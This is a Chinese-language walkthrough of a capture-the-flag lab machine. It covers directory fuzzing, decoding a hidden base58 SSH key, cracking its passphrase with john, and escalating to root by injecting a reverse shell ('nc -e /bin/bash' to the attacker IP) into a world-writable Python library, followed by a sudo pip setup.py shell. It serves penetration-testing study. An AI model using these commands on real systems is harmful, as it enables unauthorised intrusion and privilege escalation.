信息收集
- 开启靶机之后发现有IP信息,省去了查找ip
直接运用nmap对此IP进行扫描
nmap -A 192.168.84.158 # 全面快速扫描默认常用的一千种端口
敏感目录扫描
- 目录扫描工具
dirbuster
dirsearch -u http://192.168.84.158
发现有可疑目录robots.txt
为一个反爬虫文件
- 尝试访问此目录
- 访问成功
- 发现有一个禁止爬取的目录
Disallow
-
进行尝试访问一下
disallow
里面的/~myfiles
此处注意
disallow
下的/~myfiles
里的~
有些可疑猜测既然是一个禁止爬取的目录,应该还会有一个以
~
开头的文件 -
结果发现为
404
页面 -
查看一下源码确认一下是否真的为
404
页面真的不存在 -
发现有源码并不是真的
404
-
猜测方向是对的
- 既然这样便进行对带有
~
目录进行扫描
dirsearch -u http://192.168.84.158 --prefixes '~'
# 加引号 ~ 是为了 防止对家目录进行扫描
# ~ 代表家目录
或也可以用进行扫描
wfuzz -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://192.168.84.158/~FUZZ --hh 275
# -u 代表指定url
# --hh 275 运行上方命令之后点击ctrl+c中断查看爆出的最多的进行一个过滤
- 如果没有此目录进行一个下载
apt install seclists
-
查看内容,发现里面有一个隐藏文件
-
访问此页面,猜测
用户名为:icex64
还有一个私钥文件被隐藏起来了
-
对私钥进行查找
然后对其隐藏文件进行扫描
dirsearch -u http://19.168.84.158/~secret/ --prefixex '.' -X txt,id_rsa
# 发现并没有扫描出来什么,尝试换一个字典进行扫描
wfuzz -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://192.168.84.158/~secret/.FUZZ.txt --hh 276
# 扫描隐藏文件,以 .txt结尾
--hh 后面数字为过滤的文件信息
-
扫描完成
发现可疑隐藏文件尝试进行访问
-
然后对其访问查看
乱码???
仔细查看发现为base格式编码,尝试解码
-
base16
特征特点:密文由16个字符(0-9,A-F)组成
-
base32编码:
特征:密文由32个字符(A-Z,2-7)组成,末尾可能会有‘=’,但最多有6个
-
base36
特征:密文由36个字符(0-9,a-z)组成,加密仅支持整数数字,解密仅支持字符串,不支持中文 密文由36个字符(0-9,A-Z
-
bse62编码
特征:密文由62字符(0-9,a-z,A-Z)组成
-
base64编码
特征特点:密文由64个字符(A-Z,a-z,0-9,+,/)组成,区分字母大小写,末尾可能会出现1或2个’=’ 最多有2个,明文越长数字越长
-
base91编码
特征:密文由91个字符(0-9,a-z,A-Z,!#$%&()*+,./:;<=>?@[]^_`{|}”)组成
-
base92编码
特征特点:密文由92个字符(0-9,a-z,A-Z,!#$%&()*+,./:;<=>?@[]^_`{|}”~)组成
-
-
发现为base58编码
发现解密出来了私钥
-
进入kali输入
vi id
-
将刚解码完成的key密钥粘贴进去
按
esc
输入:wq
保存并退出
- 然后对其私钥进行密码爆破
ssh2john id > tmp # 首先将id私钥放入tmp里面转化为可破解的格式
# 开始密码破解 使用工具john
john tmp
# 或
john tmp --wordlist=/usr/share/seclists/Passwords/Default-Credentialt-passwords.txt
# 运用此密码字典进行爆破
- 得到密码
P@55w0rd!
登录
-
登录之前需要给私钥文件提权
如果不提权的话将会登录登录不成功
进入刚建好的文件目录下
chmod 600 id
-
提权完成
-
经上方nmap扫描已得知开启了ssh 22端口尝试ssh登录
- 登陆成功
尝试提权
-
首先查看一下有没有什么sudo权限
sudo -l
-
发现无需密码可以执行
/home/arsene/heist.py
此文件 -
先去访问一下这个文件看是否可以查到
ls -l /home/arsene/heist.py
发现可以看到此文件进行查看文件内容
cat /home/arsene/heist.py
-
发现此文件可以进行提权
此文件是导入了一个
webbrowser
库还调用了一个
open
的函数 -
进入此文件的目录里
尝试新建一个和这个库名一样的文件重写一个open的方法来进行反弹shell
发现没有权限
-
尝试注入这个库,看这个库文件能不能进行写入
然后去查看这个python的库
python3 -c "import sys;print(sys.path)"
- 经查看后得知为
/usr/lib/python3.9
此目录ls
查看
ls -la
查看详细信息发现这为明显是一个漏洞,此文件的权限是所有人都可以编辑
-
进行对此文件编译
nano webbrowser.py
nano
是一个精简版的vi
不用
vi
是因为vi
有点小问题
-
经上面已知调用了一个
open
函数找到这个函数对其写入一个反弹shell
os.system('nc -e /bin/bash 192.168.84.128 8888')
CTRL+s
保存ctrl+z
退出 -
第二种方式见下方
kali里面打开nc -lvvc 8888
接收反弹shell
sudo -l
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
用于接收回显提示符
python3 -c 'import pty as pt;pt.spawn("/bin/bash")'
第二种方式
-
进行对此文件编译
nano webbrowser.py
同上进行编译此文件添加
os.system("/bin/bash")
-
添加完成之后再次查看
sudo -l
提权
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
-
进入之后首先进行查看权限
发现可以使用root的身份执行pip命令
二次提权
TF=$(mktemp -d) # 在tmp目录下生成一个临时文件,并把路径赋给变量TF。所以$TF是一个文件
echo "import os; os.execl('/bin/bash','sh','-c','sh <$(tty)>$(tty)')" > $TF/setup.py
sudo pip install $TF
python3 -c 'import pty as pt;pt.spawn("/bin/bash")' # 显示回显当前目录